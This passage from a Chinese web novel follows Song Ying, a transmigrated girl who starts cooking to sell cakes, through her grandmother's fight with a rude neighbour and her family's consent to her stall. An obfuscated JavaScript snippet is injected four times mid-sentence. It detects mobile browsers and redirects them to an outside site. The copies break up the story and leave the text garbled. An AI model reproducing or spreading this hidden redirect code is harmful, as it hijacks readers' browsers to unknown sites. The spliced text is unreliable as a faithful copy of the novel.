李老娘看着碗里热腾腾的菜，再看着莺姐儿忙里忙外分食的的身影，脑子里逐渐浮现出了另一张相似的面庞，忍不住同王婆子一叹，道：“这可怎么了得。” 其实莺姐儿外祖唐老爹就是厨子出身，也是因为擅长用边角料给乡下人做体面又好吃的菜，在十里八乡都很有些名声。 因为宋家人和唐氏都不愿意宋莺像唐家人，宋莺也甚少出春晚巷子，即使知道外公是个厨子，因为从小便很少同他见面，自然也没得过教导。 可既然没人教，这孩子上灶才多长时间，就能自己熟练用油，做出这般香的东西了，她冷眼瞧着，同外边卖的也不差什么。 李老娘怀揣着说不清道不明的烦恼，捡了张宋莺做的肉饼子入口。 薄薄的饼子皮很有韧性，肉也揉得很散，吃的人每一口都能吃到好滋味儿。 吃完野菜油渣饼，再喝掉鱼排豆芽汤，李老娘便觉得身子骨暖洋洋的，过过苦日子的人都知道吃什么能补力气。 甜野菜包子，宁州人为什么爱它，不就是因为这个么？ 王婆子也想起这茬，道：“以后咱们姐儿说不得真能把鲍大厨比下去呢。” 李老娘平时说话虽狠，但其实不是个爱拉脸子的人，这会儿却陡然黑了脸。 王婆子对唐家旧事知道得多，看出她心中所想，宽慰道：“不过是相貌三代不离舅家门罢了，就是你自己不也像舅家么？那等无情无义狼心狗肺之人，委实跟咱家莺姐儿没一点儿相似处。” 可李老娘还是不愿意让这孩子再进厨房了，她只盼着莺姐儿同琴姐儿一样只是觉得下灶好玩，过几日便没了兴趣。 宋莺不知道祖母在生什么气，于是给家里其他人送完吃食回来后见着这张黑碳脸，只怕自己许久没有做饭已经生疏了，便有些忐忑地凑过去问：“老娘，味道如何，能代替甜野菜包子卖么？” “咱们州府吃惯了的旧食，哪能随意替代，不过你这个么，勉强也算物美价廉，暂代一春赚个针线罢了。” 李老娘不是个狠心人，说这话有些昧良心，于是只看了一眼宋莺的眼神，就别开了。 然而好吃的东西，素来不是一个人说了算的。 在这样物资匮乏的古代，再没有什 么香味能比油脂香更为吸引人，巷子里充满了香气，路过宋家门口的人都忍不住停下来问：“齐大叔，家里在用猪油渣做什么，这般香。” 齐大叔把油渣甜菜饼拿出来给他们看，笑道：“我们莺姐儿捣鼓的甜咸饼子，过两日这孩子还说要上街卖来着。” 听见是人家要赚钱的营生，有些想法的人就不好开口讨了，但春日闲来无事，凤二家门口又闹得鸡飞狗跳的，眨眼这事儿便传到了宋家人耳朵里。 纸鸢听了一会儿便溜回来道：“乌老娘正在邢娘子家门口骂个不停，许多人都买看热闹。”接着绘声绘色把外边的话学了一遍。 李老娘想着孙女的事儿，心里本来就烦，此时直接破口大骂道：“这老杂毛实属给她脸了，如此蹬鼻子上脸！这事儿可是咱家给提的醒，若是让凤哥儿媳妇受这侮辱，以后咱家还有脸上人家家门么？” 宋莺也很有些生气，宝哥儿因是邢娘子生的孩子，伺候元哥儿的旧人十分看他不爽，时常想尽法子给他小鞋穿，好几次来学里都说脚疼，叫宋老爹脱了鞋一看，大拇指和脚后跟磨得都是泡，有一回里边还有根针。 为这事儿，李老娘私下同凤哥儿娘裘老娘说了几次，然裘老娘生性糊涂，叫身边媳妇子一糊弄，都是高高举起轻轻放下，还觉着是小邢氏故意做的苦肉计想同元哥儿争家产，分外不给小邢氏脸子。 凤二还算个明白人，转头就把那起子旧人送回了岳丈家，可对宝哥儿来说这事儿并没有过去，如今这孩子五岁多了，都不怎么说话，还经常赤着脚在地上走不愿意穿鞋。 今日学里放假，宝哥儿也在家，孩子耳朵素来尖，听见亲娘被人如此欺辱，也不知心里是何等滋味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629291|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 唐氏本在屋子里算账，见婆婆高声叫骂，忙放了活计过来，听了两耳朵后，想起小邢氏细心周到的糖渍樱桃和枇杷，也叹了口气，但还是宽慰道：“这邢家人在县里也算大户，家里还有在做官的进士亲戚，岂是好相与的。乌老娘也就逞这一时威风，等邢家人过来，这事还不知怎么收场呢。” 不过作为第一个出头人，唐氏也觉得自家必须接着出头，遂道：“娘，你先歇着，我出门劝一趟劝劝乌老娘。” “你是小辈又年轻怎么去？那死婆娘嘴上浑起来可没个好话，真给你两句，你也不好回。这事儿还得我出马。”李老娘摆摆手，直接道：“你就在家守着门，我亲自过去抽烂这老狗的嘴！” 她虽是乡下读书人家的女儿，可念再多书，乡也放在第一位，身体素质真不是一般二般的强。 说着就要过去参战，为了师出有名，李老娘还拿了宋莺两张甜菜猪油饼子，假装是去窜门的。 唐氏倒是想拦，可她手不好真个拦不住婆婆，只得叫了家里人跟在后边一起出门。 几人到时，邢娘子已经把钱退给了乌老娘。 但乌老娘心里气不过，宋文何德何能，把她的宝贝宋敦比下去，便还立在门上喷粪，此时正说到凤二带着宋文四处走动，道：“又是给他家送米，又是给他家抬轿。怎的，两人是契兄弟不成？” 李老娘原本只有四分愤怒，见人编排自己的心肝宝贝大儿子，过去直接脱下鞋嗖一声就对着乌老娘来了个大耳刮子，道：“老杂毛，是疯了不成，你这话儿是要逼死谁。” 乌老娘看见李老娘，心里也虚了一瞬，原本她也没想着说这些，这不一下子骂上瘾把心里话说出来了么？ 可挨了这一下，两家新仇旧仇霎时浮上心头，乌老娘也来了火气，也脱了鞋要打李老娘。 李老娘带了许多帮手，加上围观人群见有打起来的架势，便上手开始拉架。 不过这私心就重了。 五老爷家毕竟搬出了春晚巷子，与宋氏一族关系远了，如今又是退粮又在巷子里大放厥词，许多人心里已经不把他们当成宋家人。 于是乌老娘被架得死死的，只能张口四处咬人，这才空了一只手出来与李老娘对打。 李老娘是在两代学堂战胜过诸多熊孩子的英勇之辈，年过四十即使力气小了些，但身手还在，她猫着腰专挑着疼又不伤身的地方踹了乌老娘几脚，把乌老娘踹得嗷嗷直叫，深恨自己没多带几个帮手出来。 宋莺见自家老娘武德过于充沛，怕家里以后落个以多欺少的名声，灵机一动，趴地上就开始打滚，道：“娘！娘！乌老娘打着我了，我好疼，我是不是要死了！” 宋琴读书不勤，学人倒快，也跟着在地上打滚，还把伤心事都想遍了流了不少眼泪。 及至被分开，乌老娘也不明白自己啥时候碰这两孩子一指头了。 12.不是群殴，是正义之拳 街坊拉开了两家人，将乌老娘并三两八钱银一起送回了她家，顺道还大张旗鼓地将粮食拉回了春晚巷子。 五老爷父子三人眼里只有钱，看也不看咒骂不停的乌老娘一眼，宋举还笑着同宋敦说了一句，“娘看着跟斗败了的鸡似的。” 宋敦捂着脸，只觉得丢人不说话。 五老爷把两个儿子看成命根子，见自家给他们寻了这么个登不得台面的亲娘，便将几个媳妇当嫁妆凑来的买粮钱一人分了一两三钱走，一同寻欢作乐去了，路上还拍着儿子的肩膀道：“……都是爹不好，苦了你们了。” 家里眨眼便只剩几个日日替人浆洗衣裳的姑娘和志哥儿母子面面相觑。 一个姑娘怯生生地道：“婶娘，我还没吃饭呢。家里就没米了。” 付氏叹了口气，看几个姑娘衣裳都遮不住手腕实在可怜，便去厨房用勺子挖了一层锅巴底出来，泡了热水坐在厨房一起分着吃。 志哥儿吃不下泡锅巴，他觉得有什么地方不对。 过了好一会儿，他才回神拉住娘，问：“方才三叔进来怎么不跟我打招呼啊？” 以前三叔路过巷子，会特意进来看他功课做的如何了，走前也会留几样甜嘴的小食，让他亲自分给堂姐妹。可今日进门，三叔一眼也没有看他，甚至没有过问发生了什么就走了。 付氏脑子不算灵光不，不然也不能被后娘骗进了这么个无底洞，但她是个细心人，让儿子一说便明白过来，当下悲从中来哭个不住，呜咽道：“志哥儿，这是春晚巷子不想认咱们了。” 付氏自己就是没有家的人，所以在娘家时是人是狗都能欺负她。等嫁进了宋家，宋敦再是个烂人，她也没有太多怨气。因为宋族长是个有底线的人，只要是族人，就没有他不管的，即使搬来了鱼龙混杂的浣纱巷子，有三叔时不时登门，等闲也没人欺上门来。 至于婆婆和大嫂的那些小手段，付氏根本不在乎。 但现在家里连仅剩的宗族的庇佑都要失去了，付氏呆呆地哭着，实在不知日子如何再往下过。 而宋莺一家呢，赶跑了那贱嘴婆子后正在家梳头洗脸，两个丫头姐姐捏肩的肩喂樱桃的喂樱桃，王婆子也寻了张热帕子出来在宋琴脸上使劲擦。 宋老爹本来带了两张宋莺做的饼子窜门去了，乍一听见家里跟人动了手脚，吓得胡子都跑翘起来才气喘吁吁地回门。 别看宋老爹在巷子里有些仁厚的名声，了解他的人就知道这是个笑面虎，宋家人其实都有些怕他，包括刚扇了人几个耳刮子的李老娘。 往年在乡下时，李老娘也时常跟人争春水推搡起来，自从嫁了宋老爹，再气的事儿也没动过手，咕哝一句，道：“还不是那婆子说话太气人么。”便没了声儿。 宋律和宋琴挨亲爹的打已经挨出了习惯，两人都找了个离门口近的地儿，打算一个不好就往外溜。 不过，宋莺不怕，她也觉得用暴力解决问题也不好，可人家都骑在自己头上拉屎了，再腆着脸过去说和，那不是活王八么？ 宋老爹见宋莺理直气壮的，把人拉过来，问道：“莺姐儿，你是个姑娘家，跟老爹说说，怎么还跟人打上架了呢？” “那哪叫打架，不是他们找揍么？”宋莺流利地道：“再说，乌老娘今日来得实在歹毒，又盘算着让族长家与咱们家不和，又编排我爹给人做契兄弟。 以后我爹和小叔还考学呢，当官的不是都讲究品行端正么，人家若是来县里一打听，就全完了。 都奔着弄死咱们来了，还不打回去，日后岂不是什么阿猫阿狗都能来踩咱们两脚？” 除了自己家，还有一件事是宋莺不能容忍的，她道：“老爹，邢娘子让爹娘送到宅子里关起来，日日过得提心吊胆，已经够可怜了，再由得七大姑八大爷这么辱骂，她还活不活了？我是觉得，大家都是女儿身，救别人就是救自己，祖母这时义举，又有什么错呢？” “说得好，这才是咱家的好闺女！”李老娘在嘴里咂摸两遍“救别人就是救自己”，深感孙女儿是自己腹中蛔虫，当下还有些遗憾刚才没多给那婆子几巴掌。 宋老爹早年能带着娘从乡下一个放牛郎摇身一变成为秀才，又积攒下如今的家业，自然也不是吃素的。 以往忍五老爷，也是顾虑族长，族长想看见族里和睦，那族里就得和睦，至少不能是他们家来挑这个头。 如今乌老娘连小邢氏都放在地上狠狠的踩，是个男人也不能容忍妻儿被这么欺辱，五老爷家眼见着要完了，宋老爹自然也不会为了他们跟自己家人过不去。 于是，对于妻子孙女围殴乌老娘的事儿，宋老爹只骂了句小滑头便罢了，在他心里重要的是另一件事。 两个姑娘家怎么能过了七岁还在地上撒泼打滚呢，尤其琴姐儿，发财头都滚散了一只，包发的帕子也没了，整个脸儿花猫似的。 于是，宋家几个小的打这日起，又落了个抄前朝史记卖钱的活儿，至于什么时候算完，宋老爹冷面道：“抄完为止。” 宋莺只能跟王婆子道：“迟些再烧水罢，那书且有几十卷呢，等我抄完今天的衣裳还能要么，这会儿洗澡也是浪费。” 说着就要回屋开抄了，然一转身便对上了一双黑沉沉的眼睛，宋莺搓着鸡皮疙瘩道：“爹，你什么时候回来的，也不说一声，吓死我了。” 宋文也是跑得满头大汗，闻言一把将这个恶人先告状的闺女和妹妹拉到院子里左看右看，县城拢共才多大，热闹也传得快，天知道他在学里听人闺女和妹妹让人打得在地上滚时是个什么滋味儿。 如今见孩子好好的，他一颗心才落回肚子里，又给亲娘请了安，问候一遍后，宋文便牵着妻子和闺女回屋，只是看孩子披头散发的样子始终有些担忧，道：“莺姐儿，真没受伤么？” 宋莺舔着墨水，笑道：“没，是祖母太威风了，我怕人家觉着咱们以多欺少，躺在地上装的，以后五老爷家若拿这个说嘴，咱家也有道理。” 宋文哭笑不得，过去就给了闺女一个暴栗，道：“你爹险叫你这理吓死，就不能先差人叫爹来么，一群妇孺老胳膊小腿儿的，真吃了亏叫爹还怎么活？” 宋莺抄得头也不抬，笑：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633885|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说得我天生就爱打架似的，再说，今日出门，揍人的也不是我。” 唐氏见闺女油嘴滑舌的，都听笑了，牵走脏闺女，递给冬儿，道：“给这小油嘴子好好洗洗，才吃了一个油饼子，嘴都滑成这样了。” 看闺女不服，唐氏又道：“那地上那么脏，也不知有没有痰，没有痰有狗尿也够恶心的。” 这话说得，不仅宋莺忙不迭的放了笔墨往外跑，连刚抱了闺女的宋文浑身也开始发痒，赶紧也叫了一桶水洗漱。 晚间吃了饭，熄了灯，各回各屋，宋老爹都没再说什么。 几个小的只有劫后余生的欢乐，但宋文却将这事放在了心上，还同唐氏道：“看爹这模样，估计五老爷家这回只怕要出族了。” 唐氏能同闺女说出一锅饭一家人的话，再看今日乌老娘做派，心里对这事也有了些预感。 但出族是大事，说不好就要家破人亡，真说出来唐氏还是有些心惊，道：“那咱家和五老爷家岂不是成了死敌了。” 宋文科举上弱，但人情世故上却是通的，他琢磨了会儿摇头道：“不会，凤二不会让咱们家吃这个亏的。” 族里对族长的信任并不是白来的，宋文解释道：“你不知道，往前二十年，咱们举族除了五老爷家都还穷着，巷子里什么人都有，有时一些混账见我们穿得破烂，还会丢铜子砸过来，砸完了嘴里便会说不干净的荤话。所以凤二是最恨别人编排他这个的。” 唐氏一听就知这话不是编的，宋家男人不说个个好看，但整体样貌都文弱。世道好男风，有钱的混账强抢人家儿女的她也不是没见过。 宋文摩挲着媳妇光滑的肩膀，道：“当时我们只觉得气愤，唯独凤二一声不吭，回头便挨家挨户把那些混账人的名字记了下来。如今咱们巷子里还能见着这等浑人么？” 唐氏轻轻摇头，真想不到春晚巷子还能有这段往事，她嫁进来时，巷子里日子已经过得很不错，街坊也很和善，她不由问道：“以前怎么不见你说过。” “陈年往事，实没必要再提。”宋文一笑，今日说起来，主要也是为了让媳妇放心，道：“咱家先是惦记族里给他传信，又为他娘子出了头，他不会害我们的。” 夫妻两人说了一会子话，这才熄灯躺下。 夜间唐氏翻来覆去地睡不着，想着小邢氏和五老爷家一件件污糟糟的事，深深觉得，还是自家这样中不溜的门户日子清静啊。 孩子虽人来疯了些，可从今日莺姐儿说的话就能看出来，几人本性都不坏。 那头宋老爹拿了个煮熟的鸡蛋正给李老娘滚打酸的胳膊，滚完了，李老娘便叫纸鸢拿一碟子酱油进来打算沾鸡蛋吃。 纸鸢去而复返，手上却提了一个食盒，里边不仅有酱油，还有一碗蛋羹，两小碗阳春面，瞧着是莺姐儿的手艺，可吃起来就知道是王婆子做的。 李老娘与王婆子相处了一辈子，立马记起来宋莺摆摊的事，停了筷子，也同丈夫说起孩子事了。 李老娘犹豫了一会儿，才道：“老头子，若是莺姐儿有做饭的天分，那可怎么办？” 13.出门 李老娘提起这个就有滔滔不绝的话要说。 首先厨子可是个贱活儿，作为耕读之家的姐儿，李老娘的期待十分质朴，她就希望孩子将来嫁一个有钱俊秀的举人老爷，做个衣食无忧呼奴唤婢的贵妇人。 但，那样的人家，会娶一个做厨娘的媳妇么？ 除了这个李老娘还担心孩子学坏，大晋开国才一百来年，天下穷的地方还多着呢，老百姓吃都吃不饱，一个个长得矮墩墩的，所以他们对唐老爹那样能用不值钱的边角料做出美味的厨子推崇至极。 但越受推崇的厨子越容易出入豪富之家。然而那样的地方是非最多，尤其是后宅阴司多靠厨子和大夫，而比起用药，食物相克的法子反而更难让人看出来。 所以许多厨娘还兼顾一些害人的脏活儿，那等地界，害人的活儿可比老老实实做饭贵多了。 远的不说，就是永安县的一些小糖商家里，每年都得少一两个厨娘。 宋家并不算有钱，莺姐儿又有那样的外家，以后若是出入豪宅也被财富迷眼做出错事，宋家剩下的人怎么办？ 听老妻絮絮叨叨地说着忧虑，宋老爹并没有反驳，他只是给她讲了一个故事，这个故事说的就是甜野菜包子的由来。 其实宁州府的甜野菜包子就是卖小食的普通厨娘蔡婆婆做出来的，那时大晋刚开国，山高皇帝远的宁州府百废待兴，遍地都是焦土，老百姓几乎什么都吃不起，所以府中产的糖就成了大家唯一慰藉。 老百姓在天灾面前是很团结的，当时府中许多糖商都愿意把糖以相当低廉的价格卖给州人，好景不长，很快官家就把宁州糖定成了贡品，老百姓自然也吃不起了，之后日子也又一次寡淡起来。 那时蔡婆婆的两个儿女都饿得快死，唯一的愿望就是能在咽气前吃一口宁州糖包子。 她只好自己挎着篮子满山遍野地找有甜味的野菜，等她找到时，儿女的坟头草都有半人高了。 之后蔡婆婆开始在城中兜售三文一个甜野菜包子，宁州府的老百姓终于又吃上了价廉物美的糖包子对她也很感激，此后还有宁州巨富重金聘请蔡婆婆入宅，但她一次都没有去过。 “蔡婆子不也是民间厨娘吗？她能做到坚守本心，不被财富打动去做那些丧尽天良的事，那莺姐儿自然也可以。” 宋老爹对这点很有信心，毕竟孩子去他在教，品性如何还能又不清楚的么，于是又补了句道：“如果这样她还是会变成一个坏人，那即便不让她做厨子，家里的祸事一样不会少。” 李老娘还想再说点什么，但看着老头子的脸色最后还是没有再反对，她之所以犹豫，不也是因为白天莺姐儿对小邢氏和乌老娘之事说的那番话么？ 这让她觉得这孩子或许并不是没有良心的人，最终李老娘只是叹了一声，道：“孩子想做就让她做吧。” 宋家大事素来是宋老爹两口子说一不二，两人一说定，隔日宋老爹便没有带着宋莺去学堂吃，而是让她去厨房做早饭，大家一起吃。 宋莺手脚还算麻利，很快就和宋琴宋律一起把菜提了过来。 几个孩子在每个人面前都摆了一碗蛋羹、一碗浓粥、一碟子糟小鱼。 这些看起来很普通的家常菜其实都按照每个人的口味都做了调整，比如李老娘口味重，她那一碗放的酱油和盐巴就要多一些。 而宋老爹要教书，作为先生，他不能在学里频繁上厕所，所以他的蛋羹和糟鱼都是处理过的，味道要更清淡一些。 不过大家以前都以为这是王婆子做得贴心，直到李老娘亲眼见了宋莺下厨才反应过来，这些其实都是这孩子做的。 看着碗中的蛋羹，李老娘笑着问宋莺：“你打算什么时候出摊？” 宋莺想了下：“明天吧，今天还得洗刷摊呢。” 宋家没有卖吃食小推车，他们也买不起，那东西至少要三百文呢。所以琴姐儿打算用她新攒的鸡毛再跟秀姐儿换她爹早年做赤脚大夫时的小推车先用用，若是赚了钱就每日花几个钱租下来，若是没有，那就各回各家各找各妈。 李老娘又问：“那价格呢，你们定好了么？” 宋莺笑：“这个自然早就算了，包子四文一个汤两文一碗，两样一起卖就只收五文钱。” 这个价格在永安县并不贵，街边脚店这样的套餐一般都会卖到七文钱，宋莺觉得自己还是很有竞争力的。 宋律看她说得头头是道，却十分不买账的说：“那饼子里又是油又是猪油渣的，卖得这么贱能赚钱么？” 宋莺道：“怎么不赚。咱们没用贵东西，就是猪油渣我也放得少，每个里边略有点儿肉味罢了。这事儿和大慈寺鹅肉饼差不多，费在人力，要不错眼地盯着，到了火候马上起锅，就不会多费柴油。” 李老娘在一边看着孩子越说越亮的眼睛叹了口气，半天，才又出了声，不过这回不是对着莺姐儿，而且对着唐氏。 李老娘道：“姐儿大了，今年过后也不能再跟如今似的念书，总得找个像样的手艺过日子……过几日你带着孩子回趟娘家吧。” 宋莺听见李老娘这么说，活似被雷劈了一般，整个人都呆住了。 就是唐氏这样心硬的人，也失神了许久。 或许女儿还小，并不能彻底明白这句话的意思，但她却明白，婆婆和公公这是在说，以后她可以和娘家人继续来往了。 也在说，以后莺姐儿可以像唐家人那样摆摊开店，上街进山，不用像她一样在宅子里待一辈子了。 母女之情，父女之情眨眼涌上心头，唐氏几乎立刻就要点头，但残存的理智让她记得这不是自己可以做主的事，于是点头前唐氏先看了宋文一眼。 宋老爹是无所谓了，他这辈子又不会再科举，但宋文两兄弟还要往上走，这样的门户，家里有个女儿家要做下九流的事，并不是所有男人都会同意。 唐氏并不在乎女儿是不是贤妻良母，她也不觉得像唐家人有什么不好，以往是宋家人不愿意，她才不得不跟着不愿意，所以眼下唐氏心里没有多少把握丈夫能答应这事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640013|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没想到宋文只是一笑，反手握住了她的手，笑道：“那这几日我再去买点儿米粮，到时一起给岳丈送过去。” 宋莺诧异地看着她爹，这是这个家里最像古代男人的男人，每日除了念书就是同读书人一起吟诗作对，对许多事都保持着很传统的态度，他不会把家外的事随意和孩子女人说，也不会在祭祖时叫上女人一起给祖宗磕头。 宋莺一直很担心这个爹以后会因为过于传统而变成古板严肃的老学究。 可是就是这个十分传统的人，在这个宽袍长袖、妇女不能抛头露面的年代，描淡写地决定要同意了一件会让自己丢脸的事。 宋莺忍不住叫了一声：“爹……” 宋文把孩子拉过来，有些心疼地摸摸她的头。 宋莺看着调皮，但其实很少会对家里人提额外的要求。 他记得当年唐氏生了孩子后母女两个身体都有些弱，娘儿两个便在屋子里足足待了一年多才出门。 莺姐儿被关坏了，所以她说的第一句话不是爹娘，而是：“出门。” 门外对孩子来说太危险了，一般人家都会把孩子留到四五岁才放到巷子里走动，宋家人自然也没有破例带她出去。 但莺姐儿天生就比别的孩子更待不住，所以当她刚会爬着走时，就偷摸从床上翻下来躲着人一步一步地爬到了大门口，把齐大叔吓得几乎晕倒。 这种情况持续了很久，一直到莺姐儿五岁时开始跟着宋老爹念书，跟着李老娘学了规矩，才不怎么往外跑了。 对于这些事宋莺已经记不清了，虽然她是穿来的人，但幼儿的身体依然没办法让她记住三岁以前的事。 但宋文记得，那时莺姐儿和琴姐儿一起在院子里看梨花，她说：“听说山里有颗百多岁的老梨花树，结出来的梨子泡酒格外好喝，我想吃吃看。” 琴姐儿看着人来疯，实际是个恋家的人，她不想跑那么远，山上还有大虫，于是只道：“家里的你不喜欢吃么？” 莺姐儿道：“小姑，家里梨子我爱吃，但我也想吃外边的梨子，不然跟井底之蛙似的，这日子过得真没劲儿。” 四年过去了宋文还时常想着她当时的话，那么小一个也不知跟谁学的。 要是别人的姑娘这么说，宋文肯定会觉得，一个姑娘家老实本分地在家绣针线，找个好人家嫁了相夫教子才是正途。 可只要想到莺姐儿以后会被关在屋子里，做一个最普通不过的小妇人，去街上买个糖都要看婆婆、丈夫的脸色，宋文心中就充满愤怒，慢慢的他观念就逐渐变了许多。 这时，宋文对上宋莺的眼睛，终于说出了自己反复思量了很多年的话，他说：“你是我的女儿，你要记住，会让你高兴的事，我和你娘都会站在你这一边。” 宋莺露出了一个真心的笑容，看着爹娘、祖母祖母的脸想，原来她以为自己隐藏得很深的小心思，家里人都看得这么清楚。 原来在古代，只要有家人的疼爱，想要做自己喜欢的事也不是很艰难。 14.馋琴姐为侄忍嘴 宋家没有几个人，长辈都同意了让宋莺以后去学厨摆摊挣钱，自然也不会有其他人反对。 用过晌午唐氏便亲自提着剩下的一碟子樱桃和枇杷去了趟陈嫂子家给闺女借推车。 这推车有一米二宽，只在底部装了一个独轮，永安县的摊贩经常把这种车改装后拿来卖炊饼、粥汤，方大郎以前卖的是中药汤子，跟那些也差不多，所以车也不需要再修整。 这东西不值什么钱，陈嫂子也听自家闺女说了宋家闺女要去摆摊赚钱买头花的事儿。 在她眼里这件事儿就没一个谱，也不收什么租借费，还很同情地安慰唐氏：“孩子在家裤子都跳掉了吧？你也不容易……就是都赔了，嫂子也要想开些。孩子，只要活得高兴，能长命百岁，咱做父母的就高兴了。” 唐氏十分无语，心道就这两姑侄在巷子里跌到底的风评，其实也不值得婆婆操心。 回去后，李老娘便指挥着小儿子打水涮车，嘱咐道：“明天早上，你跟着两个姐儿一起出门，把她们看住不让她们去乱糟糟的地方。” 宋家不是有钱人家，但也绝不贫苦，甚至因为宋老爹的缘故，家里人在春晚巷子还很受人尊敬，逢年过节都有学生会送吃食过来，旁人见了宋律也会亲切地叫一声：“律哥儿。” 于是宋律逐渐便很有些偶像包袱，他不在乎莺姐儿要干什么，但他觉得自己跟着沿街叫卖挺丢人的，所以内心并不想跟着去，可话还没说出口，就被宋老爹狠狠瞪住了，在老爹这样的目光下，他只能不情不愿地答应了。 宋老爹回头就同李老娘叹：“如今一事无成就觉得这个丢老那个丢脸，也不想想这脸面是怎么挣的，还不是他爹在乡下放牛放起来的？再说，为官做宰，若不能体谅民生，还不如回家种地，也不至于以后祖坟都让人撅了。” 所以宋老爹是一定要让宋律跟着宋莺一起出门体会民间疾苦。 李老娘也不是个会溺爱人的祖母，当下也道：“既然要收拾，自然也不能让琴姐儿太快活，不然以后长成个刁婆子，咱家祖坟一样保不住。” 宋莺对宋律能不能保住家里祖坟不好说，但在小姑这方面她还是很有自信的，便笑道：“我姑不要你们说，她一会儿会主动来帮我的忙。” 李老娘一开始还不信呢，于是等没钱买零食只出门闻了个味儿的闺女吸溜着鼻子回来，凑到宋莺身边，说了句道“莺姐儿，我给你帮忙吧”的话时，她的眼珠子都差点掉下来。 宋琴在心里十分阴暗地想，自己可不是来白帮忙的，她不怎么信这个饼子能赚钱。 菜又不能放得太久，就算眼下天气还冷，那也放不了几天，所以在她眼里这些饼子都是自己这几日的口粮。 “这个是要卖钱的，得舍得放料做好吃点知道吗？”宋琴又狗腿又殷勤地说。 李老娘看了看把心思写在脸上的闺女、又看了看刷得满身脏水的二儿子，嘴角一抽，真个想去祖坟看看是不是已经让人挖了，不然家里何以多这么两个活宝四处现眼。 宋莺在年龄上是宋琴的小辈，但在心理上却觉得自己有责任照顾她，于是只想给她分一个洗菜的活儿。 但宋琴想要烧灶，她说：“洗菜要从出厨房和井水边来回跑，烧灶只需要坐着。” 宋莺深深地看了她一眼，想到李老娘和宋老爹想要这两兄妹体会民间疾苦的话，笑道：“小姑，这可是你说的。” 宋琴实在不知道这有什么好难的，她也不是没给宋莺打过下手，当即拍着胸脯雄赳赳地开始吹火。 但很快她就发现这柴真不是那么好烧的。 宋家的柴禾是两文钱一斤的普通柴，烧起来烟雾本来就比较重，加上最近不出太阳，柴也不够干，烧起来烟就更大了，炒菜的人因为背着灶膛，不怎么能闻见味儿，但对于坐在灶下的人来说，即使有烟囱，也不能完全避免，一时半刻还好，一个下午、一天，日日夜夜，怎么受得了！ 而且宋家用的是大锅，要做肉饼就更需要火候，宋莺不停地告诉她“要小一点”“再大一点”，琴姐儿用筒子往灶膛里吹了三五回，脸上就被火光印得通红，整个房间也逐渐热了起来。 灶台的热不是夏日被大太阳晒的那样烦躁，而是黏腻，好像油会从钻到人身体里似的，让人觉得脏。 宋琴从来没这么长时间地在灶房待过，烧了半个时辰，她就想哭了，可她答应了莺姐儿不跑。 宋莺见她这样，便叫了王婆子进来，道：“姑，你出去玩会儿吧？” 宋琴便高高兴兴地放了吹筒，想溜到秀姐儿家做布老鼠玩。 因为秀姐儿个看见狗吃屎都要凑热闹的猢狲，早间也闹着要变卖珠花帕子凑了盘缠掺股和莺姐儿两个一起去，让陈嫂子收拾了一顿，这会儿还趴在床上哭呢。 见小姑子要出门，唐氏便特意给了琴姐儿两文钱，让她买个鸡零狗碎的玩意儿逗秀姐儿开心。 宋琴打算昧下一文钱，因为心里发虚，去的时候走路都静悄悄的，还把陈嫂子吓了一跳。 方家跟宋家差不多大，但却很拥挤地住了三户人，除了秀姐儿一家外还有方二郎和方三郎，三兄弟的爹娘也还活着。 宋琴被送到秀姐儿屋子里时，就发现这里挤了不少姑娘，那些都是秀姐儿的堂姐妹们。 宋琴也都认得，叫了声：“淑姐儿，贤姐儿……” 秀姐儿两只眼睛还肿着，见了她想起两人一起说的要一起偷跑到大慈寺吃鹅肉饼子，自己却注定食言，顿时悲从中来，抱着人干打雷不下雨地哭：“今儿我实在让我娘打怕了，等过几日我不疼了，再让她打几顿消消气，我肯定跟你一起买那劳什子饼去。” 宋琴也挺可惜的，秀姐儿不去，她没了伴儿也不想去大慈寺了。 一旁的几个姐儿都听得发笑，二房的姑娘都还好一些，三房的两个姐儿因为祖母干过马泊六从小听了不少污言碎语，所以格外看不上干下九流勾当的人。 见宋家姐妹放着好好的秀才姑娘不做，要去摆锅弄灶，心里便十分的不屑，其中一个便笑眯眯地跟问宋琴：“我还当秀姐儿是胡说的，原来你们真要去干那抛头露面见不得人的活呀？” 宋琴在巷子里那都是从小一个个打过来的，听了顿时拍拍手，道：“梨姐儿，你是想讨我的打，还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 